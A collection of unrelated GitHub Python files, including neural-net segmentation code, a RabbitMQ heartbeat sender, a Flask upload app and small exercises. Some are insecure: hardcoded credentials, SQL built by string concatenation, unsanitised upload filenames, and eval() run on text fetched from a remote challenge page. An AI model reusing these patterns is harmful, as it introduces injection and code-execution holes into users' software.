+{"seq_id":"10287890177","text":"import numpy as np\nimport os\nimport skimage.io as io\nimport skimage.transform as trans\nimport numpy as np\nfrom keras.models import *\nfrom keras.layers import *\nfrom keras.optimizers import *\nfrom keras.callbacks import ModelCheckpoint, LearningRateScheduler\nfrom keras import backend as keras\nfrom loss_SAL import *\n\nIMAGE_SIZE = 256\nfilter = 24\n\n\n#####-----E-net------#####\n# filters,kernel_size,strides\ndef initial_block(inp, nb_filter=13, nb_row=3, nb_col=3, strides=(2, 2)):\n conv = Conv2D(nb_filter, (nb_row, nb_col), padding='same', strides=strides)(inp)\n max_pool = MaxPooling2D()(inp)\n merged = concatenate([conv, max_pool], axis=3)\n return merged\n\ndef bottleneck(inp, output, internal_scale=4, asymmetric=0, dilated=0, downsample=False, dropout_rate=0.1):\n # main branch\n internal = output // internal_scale\n encoder = inp\n # 1x1\n input_stride = 2 if downsample else 1 # the 1st 1x1 projection is replaced with a 2x2 convolution when downsampling\n encoder = Conv2D(internal, (input_stride, input_stride),\n # padding='same',\n strides=(input_stride, input_stride), use_bias=False)(encoder)\n # Batch normalization + PReLU\n encoder = BatchNormalization(momentum=0.1)(encoder) # enet uses momentum of 0.1, keras default is 0.99\n encoder = PReLU(shared_axes=[1, 2])(encoder)\n\n # conv\n if not asymmetric and not dilated:\n encoder = Conv2D(internal, (3, 3), padding='same')(encoder)\n elif asymmetric:\n encoder = Conv2D(internal, (1, asymmetric), padding='same', use_bias=False)(encoder)\n encoder = Conv2D(internal, (asymmetric, 1), padding='same')(encoder)\n elif dilated:\n encoder = Conv2D(internal, (3, 3), dilation_rate=(dilated, dilated), padding='same')(encoder)\n else:\n raise (Exception('You shouldn\\'t be here'))\n\n encoder = BatchNormalization(momentum=0.1)(encoder) # enet uses momentum of 0.1, keras default is 0.99\n encoder = PReLU(shared_axes=[1, 2])(encoder)\n\n # 1x1\n encoder = Conv2D(output, (1, 1), use_bias=False)(encoder)\n\n encoder = BatchNormalization(momentum=0.1)(encoder) # enet uses momentum of 0.1, keras default is 0.99\n encoder = SpatialDropout2D(dropout_rate)(encoder)\n\n other = inp\n # other branch\n if downsample:\n other = MaxPooling2D()(other)\n\n other = Permute((1, 3, 2))(other)\n pad_feature_maps = output - inp.get_shape().as_list()[3]\n tb_pad = (0, 0)\n lr_pad = (0, pad_feature_maps)\n other = ZeroPadding2D(padding=(tb_pad, lr_pad))(other)\n other = Permute((1, 3, 2))(other)\n\n encoder = add([encoder, other])\n encoder = PReLU(shared_axes=[1, 2])(encoder)\n\n return encoder\n\ndef en_build(inp, dropout_rate=0.01):\n enet = initial_block(inp)\n enet = BatchNormalization(momentum=0.1)(enet) # enet_unpooling uses momentum of 0.1, keras default is 0.99\n enet = PReLU(shared_axes=[1, 2])(enet)\n enet = bottleneck(enet, 64, downsample=True, dropout_rate=dropout_rate) # bottleneck 1.0\n for _ in range(4):\n enet = bottleneck(enet, 64, dropout_rate=dropout_rate) # bottleneck 1.i\n\n enet = bottleneck(enet, 128, downsample=True) # bottleneck 2.0\n # bottleneck 2.x and 3.x\n for _ in range(2):\n enet = bottleneck(enet, 128) # bottleneck 2.1\n enet = bottleneck(enet, 128, dilated=2) # bottleneck 2.2\n enet = bottleneck(enet, 128, asymmetric=5) # bottleneck 2.3\n enet = bottleneck(enet, 128, dilated=4) # bottleneck 2.4\n enet = bottleneck(enet, 128) # bottleneck 2.5\n enet = bottleneck(enet, 128, dilated=8) # bottleneck 2.6\n enet = bottleneck(enet, 128, asymmetric=5) # bottleneck 2.7\n enet = bottleneck(enet, 128, dilated=16) # bottleneck 2.8\n\n return enet\n\n# decoder\ndef de_bottleneck(encoder, output, upsample=False, reverse_module=False):\n internal = output // 4\n\n x = Conv2D(internal, (1, 1), use_bias=False)(encoder)\n x = BatchNormalization(momentum=0.1)(x)\n x = Activation('relu')(x)\n if not upsample:\n x = Conv2D(internal, (3, 3), padding='same', use_bias=True)(x)\n else:\n x = Conv2DTranspose(filters=internal, kernel_size=(3, 3), strides=(2, 2), padding='same')(x)\n x = BatchNormalization(momentum=0.1)(x)\n x = Activation('relu')(x)\n\n x = Conv2D(output, (1, 1), padding='same', use_bias=False)(x)\n\n other = encoder\n if encoder.get_shape()[-1] != output or upsample:\n other = Conv2D(output, (1, 1), padding='same', use_bias=False)(other)\n other = BatchNormalization(momentum=0.1)(other)\n if upsample and reverse_module is not False:\n other = UpSampling2D(size=(2, 2))(other)\n\n if upsample and reverse_module is False:\n decoder = x\n else:\n x = BatchNormalization(momentum=0.1)(x)\n decoder = add([x, other])\n decoder = Activation('relu')(decoder)\n\n return decoder\n\ndef de_build(encoder, nc):\n enet = de_bottleneck(encoder, 64, upsample=True, reverse_module=True) # bottleneck 4.0\n enet = de_bottleneck(enet, 64) # bottleneck 4.1\n enet = de_bottleneck(enet, 64) # bottleneck 4.2\n enet = de_bottleneck(enet, 16, upsample=True, reverse_module=True) # bottleneck 5.0\n enet = de_bottleneck(enet, 16) # bottleneck 5.1\n\n enet = Conv2DTranspose(filters=nc, kernel_size=(2, 2), strides=(2, 2), padding='same')(enet)\n return enet\n\n\ndef net(pretrained_weights=None, input_size=(IMAGE_SIZE, IMAGE_SIZE, 3), num_class=20):\n inputs = Input(input_size)\n\n #####-----light U-net------#####\n\n # ConvBlock_1_64\n conv1 = Conv2D(filter, 3, padding='same', kernel_initializer='he_normal')(inputs)\n conv1 = BatchNormalization()(conv1)\n conv1 = LeakyReLU(alpha=0.3)(conv1)\n\n conv1 = DepthwiseConv2D(3, depth_multiplier=1, padding='same')(conv1)\n conv1 = Conv2D(filter, 1, padding='same', kernel_initializer='he_normal')(conv1)\n conv1 = BatchNormalization()(conv1)\n\n # ConvBlock_2_128\n conv2 = Conv2D(filter, 3, padding='same', kernel_initializer='he_normal')(conv1)\n conv2 = BatchNormalization()(conv2)\n conv2 = LeakyReLU(alpha=0.3)(conv2)\n\n conv2 = DepthwiseConv2D(3, depth_multiplier=1, padding='same')(conv2)\n conv2 = Conv2D(filter, 1, padding='same', kernel_initializer='he_normal')(conv2)\n conv2 = BatchNormalization()(conv2)\n pool2 = MaxPool2D(pool_size=(2, 2))(conv2)\n\n # ConvBlock_3_256\n conv3 = Conv2D(filter * 2, 3, padding='same', kernel_initializer='he_normal')(pool2)\n conv3 = BatchNormalization()(conv3)\n conv3 = LeakyReLU(alpha=0.3)(conv3)\n\n conv3 = DepthwiseConv2D(3, depth_multiplier=1, padding='same')(conv3)\n conv3 = Conv2D(filter * 2, 1, padding='same', kernel_initializer='he_normal')(conv3)\n conv3 = BatchNormalization()(conv3)\n\n # ConvBlock_4_512\n conv4 = Conv2D(filter * 2, 3, padding='same', kernel_initializer='he_normal')(conv3)\n conv4 = BatchNormalization()(conv4)\n conv4 = LeakyReLU(alpha=0.3)(conv4)\n\n conv4 = DepthwiseConv2D(3, depth_multiplier=1, padding='same')(conv4)\n conv4 = Conv2D(filter * 2, 1, padding='same', kernel_initializer='he_normal')(conv4)\n conv4 = BatchNormalization()(conv4)\n pool4 = MaxPool2D(pool_size=(2, 2))(conv4)\n\n # ConvBlock_5_1024\n conv5 = Conv2D(filter * 4, 3, padding='same', kernel_initializer='he_normal')(pool4)\n conv5 = BatchNormalization()(conv5)\n conv5 = LeakyReLU(alpha=0.3)(conv5)\n\n conv5 = DepthwiseConv2D(3, depth_multiplier=1, padding='same')(conv5)\n conv5 = Conv2D(filter * 4, 1, padding='same', kernel_initializer='he_normal')(conv5)\n conv5 = BatchNormalization()(conv5)\n\n # upsampling_conv_4_512\n conv6 = Conv2D(filter * 4, 3, padding='same', kernel_initializer='he_normal')(conv5)\n conv6 = BatchNormalization()(conv6)\n conv6 = LeakyReLU(alpha=0.3)(conv6)\n\n conv6 = DepthwiseConv2D(3, depth_multiplier=1, padding='same')(conv6)\n conv6 = Conv2D(filter * 4, 1, padding='same', kernel_initializer='he_normal')(conv6)\n conv6 = BatchNormalization()(conv6)\n\n # UpsamplingBlock_3_256\n up7 = (UpSampling2D(size=(2, 2))(conv6))\n\n # merge7 = concatenate([conv4, up7], axis=3)\n\n # upsampling_conv_3_256\n conv7 = Conv2D(filter * 2, 3, padding='same', kernel_initializer='he_normal')(up7)\n conv7 = BatchNormalization()(conv7)\n conv7 = LeakyReLU(alpha=0.3)(conv7)\n\n conv7 = DepthwiseConv2D(3, depth_multiplier=1, padding='same')(conv7)\n conv7 = Conv2D(filter * 2, 1, padding='same', kernel_initializer='he_normal')(conv7)\n conv7 = BatchNormalization()(conv7)\n\n # upsampling_conv_2_128\n conv8 = Conv2D(filter * 2, 3, padding='same', kernel_initializer='he_normal')(conv7)\n conv8 = BatchNormalization()(conv8)\n conv8 = LeakyReLU(alpha=0.3)(conv8)\n\n conv8 = DepthwiseConv2D(3, depth_multiplier=1, padding='same')(conv8)\n conv8 = Conv2D(filter * 2, 1, padding='same', kernel_initializer='he_normal')(conv8)\n conv8 = BatchNormalization()(conv8)\n\n # UpsamplingBlock_1_64\n up9 = (UpSampling2D(size=(2, 2))(conv8))\n up9 = BatchNormalization()(up9)\n\n # merge9 = concatenate([conv2, up9], axis=3)\n\n # upsampling_conv_1_64\n conv9 = Conv2D(filter, 3, padding='same', kernel_initializer='he_normal')(up9)\n conv9 = BatchNormalization()(conv9)\n conv9 = LeakyReLU(alpha=0.3)(conv9)\n\n conv9 = DepthwiseConv2D(3, depth_multiplier=1, padding='same')(conv9)\n conv9 = Conv2D(filter, 3, padding='same', kernel_initializer='he_normal')(conv9)\n conv9 = BatchNormalization()(conv9)\n\n conv10 = Conv2D(filter, 3, padding='same', kernel_initializer='he_normal')(conv9)\n conv10 = BatchNormalization()(conv10)\n conv10 = LeakyReLU(alpha=0.3)(conv10)\n\n conv10 = DepthwiseConv2D(3, depth_multiplier=1, padding='same')(conv10)\n conv10 = Conv2D(filter, 3, padding='same', kernel_initializer='he_normal')(conv10)\n conv10 = BatchNormalization()(conv10)\n\n unet_out = Conv2D(num_class, 1, activation='softmax', name='LUNET_out')(conv10)\n\n # loss_function = 'categorical_crossentropy'\n\n\n #####-----E-net------#####\n enet = en_build(inputs)\n enet = de_build(enet, num_class)\n enet_out = Conv2D(num_class, 1, activation='softmax', name='ENET_out')(enet)\n\n model = Model(inputs=inputs, outputs=[unet_out, enet_out])\n\n model.compile(loss={'LUNET_out': [fin_loss_multi],\n 'ENET_out': [multi_fin_loss]},\n loss_weights={\n 'LUNET_out': 1.,\n 'ENET_out': 1.\n },\n metrics=['accuracy'])\n # model.summary()\n\n return model\n","repo_name":"orikimiyano/SALW_Net","sub_path":"SALW_NET.py","file_name":"SALW_NET.py","file_ext":"py","file_size_in_byte":10575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"3235355846","text":"from turtle import*\nspeed(\"fastest\")\nbgcolor(\"black\")\na = 0\nb = 0\npencolor(\"red\")\npenup()\ngoto(0,200)\npendown()\nwhile True:\n forward(a)\n right(b)\n a += 2\n b += 1\n if b == 210:\n break\nexitonclick()","repo_name":"Deep-Look-Academy/Python-Turtle-Graphics","sub_path":"15. Turtle Graphics - Draw a random line circleUsing Python Turtle.py","file_name":"15. Turtle Graphics - Draw a random line circleUsing Python Turtle.py","file_ext":"py","file_size_in_byte":218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"11372611118","text":"from collections import OrderedDict\nimport json\n# note: Hash Doubly linked list built internally\n# twice memory as much as common dict\n\nd = OrderedDict()\nd[\"ryu\"] = 1\nd[\"ken\"] = 2\nd[\"luke\"] = 3\nd[\"sakura\"] = 4\nprint(d)\n\n\"\"\"\ndumps() method allows us to convert a python object into an equivalent JSON object. \nOr in other words to send the data from python to json. The json. dump() method allows \nus to convert a python object into an equivalent JSON object and store the result into \na JSON file at the working directory.\n\"\"\"\nj = json.dump(d)\nprint(j)","repo_name":"Chang-Liu-TAMU/Python-Cookbook-reading","sub_path":"CH01_Algorithm_ADS@completed/1.7.Keeping_Dictionaries_in_order.py","file_name":"1.7.Keeping_Dictionaries_in_order.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"71585736809","text":"import cv2\r\n\r\n\r\n# scales mask down to dimensions\r\n# assumes mask is at least as large as img\r\n# returns image (numpy array)\r\ndef apply(img_filename, mask_filenames, width, height):\r\n img = cv2.imread(img_filename)\r\n\r\n scalar = 2\r\n # scale mask down\r\n dsize = tuple([scalar * dim for dim in [width, height]])\r\n\r\n for mask_filename in mask_filenames:\r\n mask = cv2.resize(cv2.imread(mask_filename), dsize)[0:height, 0:width]\r\n img = cv2.add(img, mask)\r\n\r\n return img\r\n","repo_name":"erichan42/image-snow-removal","sub_path":"scripts/noise.py","file_name":"noise.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"504093831","text":"####################################################################################\n#\n# Program: heartbeat\n# Version: 1.2\n# Date: 13/07/2018\n#\n# Description: Sends an 'heartbeat' message to the RabbitMQ server (PiRMQ01)\n#\n####################################################################################\n#!/usr/bin/python\nimport pika\nimport time\nimport datetime\nimport sys\nimport os\nimport socket\n\n# Use plain credentials for authentication\nmq_creds = pika.PlainCredentials(\n username = \"webmessage\",\n password = \"guest\")\n\n# Use localhost\nmq_params = pika.ConnectionParameters(\n host = \"192.168.1.200\",\n# host = \"sjholt.webhop.me\",\n credentials = mq_creds,\n virtual_host = \"/\")\n\nmq_exchange = \"amq.topic\"\nmq_routing_key = \"PiCloud\"\nmq_routing_key2 = \"BlueMix\"\n\n# This a connection object\nmq_conn = pika.BlockingConnection(mq_params)\n\n# This is one channel inside the connection\nmq_chan = mq_conn.channel()\n\nserver_name = socket.gethostname()\nif server_name == \"sjholt.webhop.me\":\n\tserver_name = \"PiRMQ01\"\n\nmessageType = \"INFO\"\nmessageBody = \"Heartbeat >> Server:\" + server_name + \" >> Status:OK\"\n\nts = time.time()\nmessageDatetime = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S')\n\n# Create message for Online Queue Monitor\nmessageText = messageDatetime + \" [\" + messageType + \"] \" + messageBody\n\n# Create messages for MySQL Database\nmessageText2 = \"INSERT INTO rabbitpimessagelog (message_type, message_body, message_datetime) VALUES ('\" + messageType + \"','\" + messageBody + \"','\" + messageDatetime + \"');\"\nmessageText3 = \"UPDATE server_status set server_status = 1, last_updated = now() WHERE server_name = '\" + server_name + \"';\"\n\n# Send message to RabbitMQ listener\nmq_chan.basic_publish(\n exchange = mq_exchange,\n routing_key = mq_routing_key,\n body = messageText)\n\n# Send message to message log table\nmq_chan.basic_publish(\n exchange = mq_exchange,\n routing_key = mq_routing_key2,\n body = messageText2)\n\n# send message to server status table\nmq_chan.basic_publish(\n exchange = mq_exchange,\n routing_key = mq_routing_key2,\n body = messageText3)\n","repo_name":"sjholt2017/RabbitPiNet","sub_path":"heartbeat.py","file_name":"heartbeat.py","file_ext":"py","file_size_in_byte":2204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"21000809863","text":"import numpy as np\nfrom scipy.stats import pearsonr\nimport matplotlib.pyplot as plt\n\n\ndef masked_rmse_np(preds, labels, null_val=np.nan):\n return np.sqrt(masked_mse_np(preds=preds, labels=labels, null_val=null_val))\n\n\ndef masked_mse_np(preds, labels, null_val=np.nan):\n with np.errstate(divide='ignore', invalid='ignore'):\n if np.isnan(null_val):\n mask = ~np.isnan(labels)\n else:\n mask = np.not_equal(labels, null_val)\n mask = mask.astype('float32')\n mask /= np.mean(mask)\n mse = np.square(np.subtract(preds, labels)).astype('float32')\n mse = np.nan_to_num(mse * mask)\n mse = np.nan_to_num(mse)\n return np.mean(mse)\n\n\ndef masked_mae_np(preds, labels, null_val=np.nan):\n with np.errstate(divide='ignore', invalid='ignore'):\n if np.isnan(null_val):\n mask = ~np.isnan(labels)\n else:\n mask = np.not_equal(labels, null_val)\n mask = mask.astype('float32')\n mask /= np.mean(mask)\n mae = np.abs(np.subtract(preds, labels)).astype('float32')\n mae = np.nan_to_num(mae * mask)\n mae = np.nan_to_num(mae)\n return np.mean(mae)\n\n\ndef masked_mape_np(preds, labels, null_val=np.nan):\n with np.errstate(divide='ignore', invalid='ignore'):\n if np.isnan(null_val):\n mask = ~np.isnan(labels)\n else:\n mask = np.not_equal(labels, null_val)\n mask = mask.astype('float32')\n mask /= np.mean(mask)\n mape = np.abs(np.divide(np.subtract(preds, labels).astype('float32'), labels + 1e-5))\n mape = np.nan_to_num(mask * mape)\n mape = np.nan_to_num(mape)\n return np.mean(mape)\n\n\ndef calculate_metrics(preds, labels, args = None, null_val=0.0, plot=False, inds=None):\n \"\"\"\n Calculate the MAE, MAPE, RMSE\n :param df_pred:\n :param df_test:\n :param null_val:\n :return:\n \"\"\"\n try:\n # try:\n # scaler = args.scaler\n # preds = scaler.inverse_transform(preds.reshape([-1,1])).squeeze()\n # # preds = (preds - np.mean(preds))/np.std(preds) * 408.8682+538.480\n # # preds = (preds - np.mean(preds))/np.std(preds) * 231.2591+490.5749\n # labels = scaler.inverse_transform(labels.reshape([-1,1])).squeeze()\n # except:\n # print(\"no scale\")\n # if plot:\n # plt.scatter(preds, labels)\n # plt.axis('equal')\n # plt.show()\n preds = preds.reshape([-1,1]).squeeze()\n labels = labels.reshape([-1,1]).squeeze()\n print(preds[:40000:1905])\n print(labels[:40000:1905])\n # mape = masked_mape_np(preds, labels, 0.0)\n # mae = masked_mae_np(preds, labels, 0.0)\n # rmse = masked_rmse_np(preds, labels, 0.0)\n mape = np.mean(np.abs(np.divide(np.subtract(preds, labels).astype('float32'), labels + 1e-5)))\n mse = np.mean(np.square(np.subtract(preds, labels)).astype('float32'))\n rmse = np.sqrt(mse)\n mae = np.mean(np.abs(np.subtract(preds, labels)).astype('float32'))\n if inds is not None:\n ape = np.abs(np.divide(np.subtract(preds, labels).astype('float32'), labels + 1e-5))\n res = np.concatenate([inds[ape > mape].reshape(-1,1), ape[ape > mape].reshape(-1,1)], axis=-1)\n np.save('data/porto/badcase.npy', res)\n except Exception as e:\n print(e)\n mae = 0\n mape = 0\n rmse = 0\n try:\n pearsonrs = pearsonr(preds, labels)\n except Exception as e:\n print(e)\n pearsonrs = (0, 0)\n return {'MAE': mae, 'MAPE': mape, 'RMSE': rmse, 'pearr':pearsonrs[0], 'pearp': pearsonrs[1]}\n","repo_name":"yanshaojie123/time_estimation","sub_path":"utils/metric.py","file_name":"metric.py","file_ext":"py","file_size_in_byte":3662,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"}
+{"seq_id":"73584866088","text":"import json\nimport sys\n\nline =\"\\n\"\n\ndef run():\n \n with open(\"ORDER_INDEX_BULK_TRANSITION/ORDER_UUID_TEXT_FILE/order_list_uuids_input.txt\") as file:\n uuids = [line.strip() for line in file]\n \n # Print the uuids to the console\n for uuid in uuids:\n print(f\"\\\"{uuid}\\\"\")\n\n print(\"\\nOrder states are case sensitive. Example: 'completed'\\n\")\n new_state = input(\"Enter the new state for the orders to transition to: \")\n\n output_dict = {\"order_uuids\": uuids, \"new_state\": new_state}\n\n with open(\"ORDER_INDEX_BULK_TRANSITION/ORDER_UUID_TEXT_FILE/order_list_uuid_output.json\", \"w\") as file:\n json.dump(output_dict, file, indent=4)\n \n","repo_name":"nick-renard/VN-QOL-Tools-Misc-VS","sub_path":"scripts/ORDER_INDEX_BULK_TRANSITION/ORDER_UUID_TEXT_FILE/order_list_uuids.py","file_name":"order_list_uuids.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"18111467312","text":"import os\nimport pathlib\nimport shutil\n\nfrom flask import Flask, request, flash, redirect, render_template, send_file\nimport uuid\n\nfrom constants import Constants\nfrom morphify import morphify\n\nUPLOAD_FOLDER = './uploads'\n\napp = Flask(__name__)\napp.secret_key = 'super secret key'\napp.config['SESSION_TYPE'] = 'filesystem'\n\n\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[-1].lower() in Constants.IMAGE_EXTENSIONS\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef upload_file():\n if request.method == 'POST':\n # check if the post request has the file part\n input_files = request.files.getlist('input_files')\n stranger_files = request.files.getlist('stranger_files')\n if not input_files or not stranger_files:\n flash('Select files!', 'error')\n return redirect(request.url)\n user_uuid = uuid.uuid4()\n data_folder = os.path.join(UPLOAD_FOLDER, str(user_uuid))\n\n try:\n input_dir = os.path.join(data_folder, 'input')\n for input_file in input_files:\n pathlib.Path(input_dir).mkdir(parents=True, exist_ok=True)\n input_file.save(\n os.path.join(input_dir, input_file.filename))\n\n stranger_dir = os.path.join(data_folder, 'stranger')\n for stranger_file in stranger_files:\n pathlib.Path(stranger_dir).mkdir(parents=True,\n exist_ok=True)\n stranger_file.save(\n os.path.join(stranger_dir, stranger_file.filename))\n\n output_dir = os.path.join(data_folder, 'output')\n morphify(input_dir, stranger_dir, output_dir)\n\n code = list(os.listdir(output_dir))[0]\n zip_path = os.path.join(output_dir, f'{code}')\n shutil.make_archive(zip_path, 'zip', zip_path)\n\n return send_file(f'{zip_path}.zip', as_attachment=True)\n finally:\n shutil.rmtree(data_folder)\n return \\\n render_template('index.html',\n mix_backgrounds=Constants.MIX_BACKGROUNDS,\n accept_extensions=','.join(Constants.IMAGE_EXTENSIONS))\n","repo_name":"Evgenius2020/morpher","sub_path":"src/morphify_flask.py","file_name":"morphify_flask.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"3753110840","text":"import re\nimport requests\nurl=\"http://123.206.87.240:8002/qiumingshan/\"\ns=requests.Session()\nresponse=s.get(url)\nreg=re.compile(r'[0-9+\\-*]{3,}[0-9]')\nobj=reg.findall(response.text)\ndata={'value':eval(obj[0])}\nreps=s.post(url,data=data)\nprint(reps.content.decode('utf-8'))\n","repo_name":"bufsnake/Common-script","sub_path":"susuan.py","file_name":"susuan.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"24390419685","text":"# Making the Menus\n\n# create a `Menu` class - Task 1\nclass Menu:\n # give `Menu` a constructor with five parameters - Task 2\n def __init__(self, name, items, start_time, end_time):\n self.name = name\n self.items = items\n self.start_time = start_time\n self.end_time = end_time\n\n # give Menu class a string representation method - Task 7\n def __repr__(self):\n return '{} menu available from {} to {}'.format(self.name, self.start_time, self.end_time)\n\n # calculate_bill method - Task 9\n def calculate_bill(self, purchased_items):\n bill = 0\n for purchased_item in purchased_items:\n if purchased_item in self.items:\n bill += self.items[purchased_item]\n return bill\n\n# create `Menu` object or instance of class `Menu` - Task 3\n# Brunch Menu\nbrunch_items = {\n'pancakes': 7.50, 'waffles': 9.00, 'burger': 11.00, 'home fries': 4.50, 'coffee': 1.50, 'espresso': 3.00, 'tea': 1.00, 'mimosa': 10.50, 'orange juice': 3.50}\nbrunch_menu = Menu('brunch', brunch_items, 1100, 1600)\n\n# Early bird Menu - Task 4\nearly_bird_items = {\n'salumeria plate': 8.00, 'salad and breadsticks (serves 2, no refills)': 14.00, 'pizza with quattro formaggi': 9.00, 'duck ragu': 17.50, 'mushroom ravioli (vegan)': 13.50, 'coffee': 1.50, 'espresso': 3.00,\n}\nearly_bird_menu = Menu('early_bird', early_bird_items, 1500, 1800)\n\n# Dinner Menu - Task 5\ndinner_items = {\n'crostini with eggplant caponata': 13.00, 'caesar salad': 16.00, 'pizza with quattro formaggi': 11.00, 'duck ragu': 19.50, 'mushroom ravioli (vegan)': 13.50, 'coffee': 2.00, 'espresso': 3.00,\n}\ndinner_menu = Menu('dinner', dinner_items, 1700, 2300)\n\n# Kids Menu - Task 6\nkids_items = {\n'chicken nuggets': 6.50, 'fusilli with wild mushrooms': 12.00, 'apple juice': 3.00\n}\nkids_menu = Menu('kids', kids_items, 1100, 2100)\n\n# Call print(brunch) - Task 8\nprint(brunch_menu)\n# calculate total price of purchase - Test Task 10\nprint(brunch_menu.calculate_bill(['pancakes', 'home fries', 'coffee']))\n\n# calculate bill about early_bird purchase - Task 11\nprint(early_bird_menu.calculate_bill(['salumeria plate', 'mushroom ravioli (vegan)']))\n\n# Creating the Franchises\n\n# create `Franchise` class _ Task 12\nclass Franchise:\n # constructor for `Franchise` class - Task 13\n def __init__(self, address, menus):\n self.address = address\n self.menus = menus\n\n # gives `Franchise` a string representation - Task 15\n def __repr__(self):\n return self.address\n\n # give `Franchise` an available_menus() method - Task 16\n def available_menus(self, time):\n available_menus = []\n for menu in self.menus:\n if time >= menu.start_time and time <= menu.end_time:\n available_menus.append(menu)\n return available_menus\n \n# create first two franchise - Task 14 \nmenus = [brunch_menu, early_bird_menu, dinner_menu, kids_menu]\nflagship_store = Franchise('1232 West End Road', menus)\nnew_installment = Franchise('12 East Mulberry Street', menus)\n\n# test available_menus() method - Task 17\nprint(flagship_store.available_menus(1200))\n\n# test available_menus() method - Task 18\nprint(flagship_store.available_menus(1700))\n\n# Creating Businesses!\n\n# create `Business` class - Task 19\nclass Business:\n # constructor for `Business` class - Task 20\n def __init__(self, name, franchises):\n self.name = name\n self.franchises = franchises\n\n# create first `Business` - Task 21\nbusiness_value = Business(\"Basta Fazoolin' with my Heart\", [flagship_store, new_installment])\n\n# create `arepas_menu` - Task 22\narepas_items = {\n 'arepa pabellon': 7.00, 'pernil arepa': 8.50, 'guayanes arepa': 8.00, 'jamon arepa': 7.50\n}\narepas_menu = Menu(\"Take a' Arepa\", arepas_items, 1000, 2000)\n\n# create first Arepa franchise\narepas_place = Franchise('189 Fitzgerald Avenue', arepas_menu)\n\n\n\n","repo_name":"chuksoo/Codecademy","sub_path":"Projects/Computer Science/CS101-Introduction to Programming/15. Classes/Basta Fazoolin'.py","file_name":"Basta Fazoolin'.py","file_ext":"py","file_size_in_byte":3752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"946219647","text":"import sys\n\nN = int(input())\n\nmat = [[] for _ in range(30)]\nfor _ in range(N):\n M, r, c = sys.stdin.readline().split()\n r, c = int(r), int(c)\n mat[ord(M)-65] = [r,c]\n\nwhile True:\n try:\n exp = sys.stdin.readline().rstrip()\n if exp == '':\n break\n\n\n ans = 0\n stack = []\n for i in range(len(exp)):\n if exp[i] == '(':\n stack.append('(')\n elif exp[i] == ')':\n b = stack.pop()\n a = stack.pop()\n\n if a[1] != b[0]:\n ans = \"error\"\n break\n stack.pop()\n ans += a[0]*a[1]*b[1]\n stack.append([a[0],b[1]])\n else:\n m = mat[ord(exp[i])-65]\n stack.append([m[0], m[1]])\n\n print(ans)\n\n except:\n exit()","repo_name":"jwjin95/PS","sub_path":"22-w/6604_MatrixChainMultiplication.py","file_name":"6604_MatrixChainMultiplication.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"6487385555","text":"import pandas as pd\r\nimport sqlite3\r\n\r\ndef get_tm_results_from_database(database):\r\n con = sqlite3.connect(database)\r\n # I want:\r\n # - ResID\r\n # - JobID\r\n # - Image\r\n # - Template\r\n # - Num matches\r\n # - median score\r\n # - max score\r\n tm_results = pd.read_sql_query(f\"\"\"\r\n SELECT \r\n TEMPLATE_MATCH_ID, \r\n \r\n IMAGE_ASSETS.NAME AS IMAGE_NAME,\r\n VOLUME_ASSETS.NAME AS REFERENCE_NAME\r\n\r\n FROM TEMPLATE_MATCH_LIST\r\n \r\n INNER JOIN IMAGE_ASSETS ON IMAGE_ASSETS.IMAGE_ASSET_ID = TEMPLATE_MATCH_LIST.IMAGE_ASSET_ID\r\n INNER JOIN VOLUME_ASSETS ON VOLUME_ASSETS.VOLUME_ASSET_ID = TEMPLATE_MATCH_LIST.REFERENCE_VOLUME_ASSET_ID\"\"\",con)\r\n \r\n tm_results['NUM_MATCHES'], tm_results['AVG_SCORE'], tm_results['MAX_SCORE'] = zip(*tm_results.apply(lambda row :\r\n pd.read_sql_query(f\"SELECT COUNT(*), AVG(PEAK_HEIGHT), MAX(PEAK_HEIGHT) FROM TEMPLATE_MATCH_PEAK_LIST_{row['TEMPLATE_MATCH_ID']}\",con).values[0],axis=1))\r\n con.close()\r\n return(tm_results)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n print(get_tm_results_from_database(\"C:\\\\Users\\\\jojot\\\\template_matching_chimerax\\\\patch_motion.db\"))\r\n","repo_name":"jojoelfe/tempest","sub_path":"tempest/src/cistem_database.py","file_name":"cistem_database.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"10721343290","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport jeopardy.models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('jeopardy', '0007_auto_20150629_0934'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='question',\n name='sound',\n field=models.FileField(upload_to=jeopardy.models.question_image_path, null=True, verbose_name='Sound', blank=True),\n ),\n ]\n","repo_name":"codefisher/web_games","sub_path":"jeopardy/migrations/0008_question_sound.py","file_name":"0008_question_sound.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
